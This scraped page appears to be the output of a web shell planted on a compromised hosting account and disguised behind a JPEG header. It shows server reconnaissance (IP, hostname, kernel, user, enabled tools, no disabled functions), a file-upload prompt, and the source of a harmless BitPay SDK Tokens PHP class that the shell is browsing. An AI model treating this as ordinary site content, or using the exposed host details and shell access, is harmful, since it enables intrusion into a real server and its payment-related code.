����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.116.62.169 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/././bofirmacademy.com/vendor/bitpay/sdk/src/BitPaySDK/ |
Upload File : |
<?php namespace BitPaySDK; use BitPaySDK\Model\Facade; use Exception; /** * Class Tokens * @package Bitpay */ class Tokens { /** * @var */ protected $merchant; /** * @var */ protected $payout; /** * Tokens constructor. * @param string|null $merchant * @param string|null $payout */ public function __construct($merchant = null, $payout = null) { $this->merchant = $merchant; $this->payout = $payout; } public static function loadFromArray(array $tokens) { $instance = new self(); foreach ($tokens as $facade => $token) { $instance->{$facade} = $token; } return $instance; } /** * @param $facade * @return string * @throws Exception */ public function getTokenByFacade($facade) { $token = null; switch ($facade) { case Facade::Merchant: $token = $this->merchant; break; case Facade::Payout: $token = $this->payout; break; } if ($token) { return $token; } throw new Exception("given facade does not exist or no token defined for the given facade"); } /** * @param $merchant */ public function setMerchantToken($merchant) { $this->merchant = $merchant; } /** * @return mixed */ public function getPayoutToken() { return $this->payout; } /** * @param $payout */ public function setPayoutToken($payout) { $this->payout = $payout; } }